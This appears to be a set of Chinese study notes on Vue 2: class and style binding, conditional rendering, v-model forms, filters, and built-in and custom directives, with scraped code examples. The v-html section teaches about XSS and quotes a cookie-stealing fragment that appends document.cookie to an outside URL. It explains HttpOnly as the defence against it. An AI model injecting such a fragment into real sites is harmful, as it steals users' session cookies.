目录
在应用界面中, 某个(些)元素的样式是变化的, class/style 绑定就是专门用来实现动态样式效果的技术。
- <style>
- .basic{
- width: 400px;
- height: 100px;
- border: 1px solid black;
- }
-
- .happy{
- border: 4px solid red;;
- background-color: rgba(255, 255, 0, 0.644);
- background: linear-gradient(30deg,yellow,pink,orange,yellow);
- }
- .sad{
- border: 4px dashed rgb(2, 197, 2);
- background-color: gray;
- }
- .normal{
- background-color: skyblue;
- }
-
- .atguigu1{
- background-color: yellowgreen;
- }
- .atguigu2{
- font-size: 30px;
- text-shadow:2px 2px 10px red;
- }
- .atguigu3{
- border-radius: 20px;
- }
- style>
写法 :class="xxx" xxx可以是字符串、对象、数组。正常的样式正常写,变化的样式用绑定的形式写。
- <div class="basic" :class="mood" @click="changeMood">{{name}}div> <br/><br/>
- <script type="text/javascript">
- Vue.config.productionTip = false
-
- const vm = new Vue({
- el:'#root',
- data:{
- name:'zqf',
- mood:'normal',
- },
- methods: {
- changeMood(){
- // this.mood = 'happy'
- const arr = ['happy','sad','normal']
- const index = Math.floor(Math.random()*3) //floor向下取整
- this.mood = arr[index] //随机切换样式
- }
- },
- })
- script>
- <div class="basic" :class="classArr">{{name}}div> <br/><br/>
-

- <div class="basic" :class="classObj">{{name}}div> <br/><br/>
- <script type="text/javascript">
- Vue.config.productionTip = false
-
- const vm = new Vue({
- el:'#root',
- data:{
- name:'尚硅谷',
- mood:'normal',
- //这些都是vue在维护 可随时修改
- classArr:['atguigu1','atguigu2','atguigu3'],//把要用到的样式配在数组里面
- classObj:{
- atguigu1:false,
- atguigu2:false,
- }
- },
- methods: {
- changeMood(){
- // this.mood = 'happy'
- const arr = ['happy','sad','normal']
- const index = Math.floor(Math.random()*3) //floor向下取整
- this.mood = arr[index]
- }
- },
- })
- script>

如果要动态绑定style,就要将其设置为一个对象,以下展示两种写法:
:style="{fontSize: xxx}"其中xxx是动态值。
:style="[a,b]"其中a、b是样式对象。
- <div class="basic" :style="styleObj">{{name}}div> <br/><br/>
- <div class="basic" :style="[styleObj,styleObj2]">{{name}}div> <br/><br/>
- <div class="basic" :style="styleArr">{{name}}div>
-

所谓条件渲染,就是你符合了某些条件。我就渲染某些东西。
1.v-if
(1).v-if="表达式"
(2).v-else-if="表达式"
(3).v-else="表达式"
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。以下写法就是错误的
- <h2 v-if="false">欢迎来到{{name}}h2>
- <h2 v-if="1 === 1">欢迎来到{{name}}h2>
- <div v-if="n === 1">Angulardiv>
- <div v-else-if="n === 2">Reactdiv>
- <div v-else-if="n === 3">Vuediv>
- <div v-else>哈哈div>
使用template对h2进行包裹,等最终页面渲染的时候,他会把template标签脱掉,注意template只能和v-if配合。
- <template v-if="n === 1">
- <h2>你好h2>
- <h2>zqfh2>
- <h2>北京h2>
- template>

2.v-show
v-show="表达式" (能转换为布尔值的表达式)
适用于:切换频率较高的场景。
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
- <h2 v-show="false">欢迎来到{{name}}h2>
- <h2 v-show="1 === 1">欢迎来到{{name}}h2>
其底层实现就是调整display属性,当表达式为false时,只是视觉上不可见,实际上依然存在。

结果:

使用 v-if 时,元素可能无法获取到,而使用v-show一定可以获取到,因为v-show只是隐藏。
如果需要频繁切换 v-show 较好,因为 v-show 是节点还在只是动态地显示。
当条件不成立时, v-if 的所有子节点不会解析(项目中使用)
若:,则v-model收集的是value值,用户输入的就是value值。
若:,则v-model收集的是value值,且要给标签配置value值。
若:
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
-
- <div id="root">
- <form @submit.prevent="demo">
- 账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
- 密码:<input type="password" v-model="userInfo.password"> <br/><br/>
-
- 年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
- 性别:
- 男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
- 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
- 爱好:
- 学习<input type="checkbox" v-model="userInfo.hobby" value="study">
- 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
- 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
- <br/><br/>
- 所属校区
- <select v-model="userInfo.city">
- <option value="">请选择校区option>
- <option value="beijing">北京option>
- <option value="shanghai">上海option>
- <option value="shenzhen">深圳option>
- <option value="wuhan">武汉option>
- select>
- <br/><br/>
- 其他信息:
- <textarea v-model.lazy="userInfo.other">textarea> <br/><br/>
- <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.bilibili.com">《用户协议》a>
- <button>提交button>
- form>
- div>

- <script type="text/javascript">
- Vue.config.productionTip = false
-
- new Vue({
- el:'#root',
- data:{
- //将表单数据封装成一个对象更方便
- userInfo:{
- account:'',
- password:'',
- age:18,
- sex:'female',
- hobby:[],
- city:'beijing',
- other:'',
- agree:''
- }
- },
- methods: {
- demo(){
- //JSON格式输出
- console.log(JSON.stringify(this.userInfo))
- }
- }
- })
- script>
v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
定义:对要显示的数据进行特定格式化后再显示。过滤器的本质就是一个函数
(适用于一些简单逻辑的处理,例如时间戳转换为日期)
过滤器可应用于插值语法和 v-bind
语法:
1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注:
1.过滤器也可以接收额外参数(因为本身就可接收一个)、多个过滤器也可以串联


2.并没有改变原本的数据, 是产生新的对应的数据
time自始至终都是那个时间戳,其他东西都是算出来的

-
- <div id="root">
- <h2>显示格式化后的时间h2>
-
- <h3>现在是:{{fmtTime}}h3>
-
- <h3>现在是:{{getFmtTime()}}h3>
-
- <h3>现在是:{{time | timeFormater}}h3>
-
- <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}h3>
-
- <h3 :x="msg | mySlice">zqfh3>
- div>
- new Vue({
- el:'#root',
- data:{
- time:1621561377603, //时间戳
- msg:'你好,zqf'
- },
- //计算属性实现
- computed: {
- fmtTime(){
- return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
- }
- },
- //methods实现
- methods: {
- getFmtTime(){
- return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
- }
- },
- //局部过滤器
- filters:{
- //形参默认值,如果str没有值则默认写上,如果有值则用传过来的值
- timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
- // console.log('@',value)
- return dayjs(value).format(str)
- }
- }
- })
在过滤器当中首先读取time,随后将time作为参数传递给timeFormater,timeFormater的返回值直接整个替换掉插值语法里的数据,最终实现解析。
过滤器第一个参数是更古不变的,永远是管道符前面的数据,如果过滤器有参数,则排在后面。
- <div id="root2">
- <h2>{{msg | mySlice}}h2>
- div>
- //全局过滤器
- Vue.filter('mySlice',function(value){
- return value.slice(0,4)
- })
-
- new Vue({
- el:'#root2',
- data:{
- msg:'hello,zqf!'
- }
- })
时间戳转化为日期

学过的指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
-
- <div id="root">
- <div>你好,{{name}}div>
-
- <div v-text="name">你好,div>
- <div v-text="str">div>
- div>
- <script type="text/javascript">
- Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
-
- new Vue({
- el:'#root',
- data:{
- name:'zqf',
- str:'
你好啊!
' - }
- })
- script>
v-text把所有的字符串都当成正常的文本去解析,不会被当成标签解析
结果

1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。(与v-text相反)
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击(冒充用户之手)。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
-
- <div id="root">
- <div>你好,{{name}}div>
- <div v-html="str">div>
- <div v-html="str2">div>
- div>
- <script type="text/javascript">
- Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
-
- new Vue({
- el:'#root',
- data:{
- name:'zqf',
- str:'
你好啊!
', - str2:'兄弟我找到你想要的资源了,快来!',
- }
- })
- script>
注意:"http://www.baidu.com?"+document.cookie当中document.cookie获取当前所处网站的全部cookie并跳走,并且把所有cookie作为参数形式传给别的服务器。
But:在设计之初也曾考虑过这种危险的行为,所以在cookie列表当中有一个HttpOnly字段,如果cookie被当前字段给限制了,那么这一条cookie只有http协议才能被读取携带,任何人包括JS代码操作都不会获取和携带。
如果全部勾选上,当再次获取时啥也获取不到
在一个留言界面把该字段输入进去,此时网站如果使用的的是v-html那么就危险了。
前端:永远不要相信用户的输入; 后端:永远不要相信前端传来的参数
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
-
- <div id="root">
- <h2>{{name}}h2>
- div>
- <script type="text/javascript">
- console.log(1)
- Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
-
- new Vue({
- el:'#root',
- data:{
- name:'zqf'
- }
- })
- script>
加入某天发生特殊情况,vue.js足足等了5s才引入进来
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js">script>此时会发生JS阻塞,绿色框和粉色框里的内容是不会被渲染的。
假如引入vue的代码放在容器之后,那么就会先渲染容器中的H2内容,再等待vue加载,再执行vue实例,此时会发生页面闪现,name在5秒后直接变为zqf。
v-cloak会在vue接管容器的一瞬间把v-cloak删掉了
此时vue还未接管容器

此时vue接管容器

选中所有标签中含有v-cloak的元素,让他们display:none,就是结构跑到页面上去了,但是让他隐藏,等vue引入进来之后,cloak会自动删除,等cloak删除之后,display:none就不会再限制。
- <style>
- [v-cloak]{
- display:none;
- }
- style>
当网速过慢的时候,v-cloak可以不让未经解析的模板跑到页面上去。
完整代码:
- html>
- <html>
- <head>
- <meta charset="UTF-8" />
- <title>v-cloak指令title>
- <style>
- [v-cloak]{
- display:none;
- }
- style>
-
- head>
- <body>
-
- <div id="root">
- <h2>{{name}}h2>
- div>
- <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js">script>
- body>
-
- <script type="text/javascript">
- console.log(1)
- Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
-
- new Vue({
- el:'#root',
- data:{
- name:'zqf'
- }
- })
- script>
- html>
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
提出需求:想同时在页面中显示n的初始化值和变化之后的值。
-
- <div id="root">
- <h2 v-once>初始化的n值是:{{n}}h2>
- <h2>当前的n值是:{{n}}h2>
- <button @click="n++">点我n+1button>
- div>
- <script type="text/javascript">
- Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
-
- new Vue({
- el:'#root',
- data:{
- n:1
- }
- })
- script>

1.跳过其所在节点的编译过程,vue不去解析此节点,直接放到界面上。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
-
- <div id="root">
- <h2 v-pre>Vue其实很简单h2>
- <h2 >当前的n值是:{{n}}h2>
- <button @click="n++">点我n+1button>
- div>
- <script type="text/javascript">
- Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
-
- new Vue({
- el:'#root',
- data:{
- n:1
- }
- })
- script>
v-show是调用了DOM身上的display属性,如果有一天自定义了一条v-hello,这个指令背后如何操作DOM元素,逻辑等着我们自己来写。

- html>
- <html>
- <head>
- <meta charset="UTF-8" />
- <title>Documenttitle>
- <style>
- .demo{
- background-color: orange;
- }
- style>
- head>
- <body>
- <button id="btn">点我创建一个输入框button>
-
- <script type="text/javascript" >
- const btn = document.getElementById('btn')
- btn.onclick = ()=>{
- const input = document.createElement('input')
-
- //也不是所有命令都得放在document.body.appendChild(input)之后
- input.cslassName = 'demo'
- input.value = 99
- input.onclick = ()=>{alert(1)}
-
- document.body.appendChild(input)
- //input只有放在页面上才能获取焦点
- input.focus()
- // input.parentElement.style.backgroundColor = 'skyblue'
- console.log(input.parentElement)
-
- }
- script>
- body>
- html>

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
-
- <div id="root">
- <h2>{{name}}h2>
- <h2>当前的n值是:<span v-text="n">span> h2>
- <h2>放大10倍后的n值是:<span v-big="n">span> h2>
- <button @click="n++">点我n+1button>
- div>
定义一个big指令需要一个全新的配置项directives,可以以函数形式定义,第一个参数是DOM元素,可以对其进行DOM操作,第二个参数是绑定,v-bind是给标签中的某一个属性绑定值用的,这里的绑定是元素和指令之间的关联关系(v-big为何不去绑定button?)
- big(element,binding){
- console.log('big',this) //注意此处的this是window
- // console.log('big')
- element.innerText = binding.value * 10
- },

big函数何时会被调用?
1.指令与元素成功绑定时(一上来)。(要么元素写的有问题,要门指令不存在,这就是写的有问题)
2.指令所在的模板被重新解析时。

需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
-
- <div id="root">
- <h2>{{name}}h2>
- <h2>当前的n值是:<span v-text="n">span> h2>
-
- <h2>放大10倍后的n值是:<span v-big="n">span> h2>
- <button @click="n++">点我n+1button>
- <hr/>
- <input type="text" v-fbind:value="n">
- div>
fbind写成一个对象,对象里写很多个函数
bind:元素已经出来了和指定已经绑定好了,但是还没有放到页面,可以去写一些样式、value值、绑定事件等。
inserted:获取焦点
- fbind:{
- //指令与元素成功绑定时(一上来)
- bind(element,binding){
- element.value = binding.value
- },
- //指令所在元素被插入页面时
- inserted(element,binding){
- element.focus()//获取焦点
- },
- //指令所在的模板被重新解析时
- update(element,binding){
- element.value = binding.value
- }
- }
还可以设置全局指令
- <script type="text/javascript">
- Vue.config.productionTip = false
-
- //定义全局指令
- //对象式
- Vue.directive('fbind',{
- //指令与元素成功绑定时(一上来)
- bind(element,binding){
- element.value = binding.value
- },
- //指令所在元素被插入页面时
- inserted(element,binding){
- element.focus()
- },
- //指令所在的模板被重新解析时
- update(element,binding){
- element.value = binding.value
- }
- })
-
- //函数式
- Vue.directive('big',function(element,binding){
- console.log('big',this) //注意此处的this是window
- //console.log('big')
- element.innerText = binding.value * 10
- })
-
- new Vue({
- el:'#root',
- data:{
- name:'zqf',
- n:1
- },
- directives:{
- //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
- /* 'big-number'(element,binding){
- // console.log('big')
- element.innerText = binding.value * 10
- }, */
- big(element,binding){
- console.log('big',this) //注意此处的this是window
- // console.log('big')
- element.innerText = binding.value * 10
- },
- fbind:{
- //指令与元素成功绑定时(一上来)
- bind(element,binding){
- element.value = binding.value
- },
- //指令所在元素被插入页面时
- inserted(element,binding){
- element.focus()//获取焦点
- },
- //指令所在的模板被重新解析时
- update(element,binding){
- element.value = binding.value
- }
- }
- }
- })
-
- script>
一、定义语法:
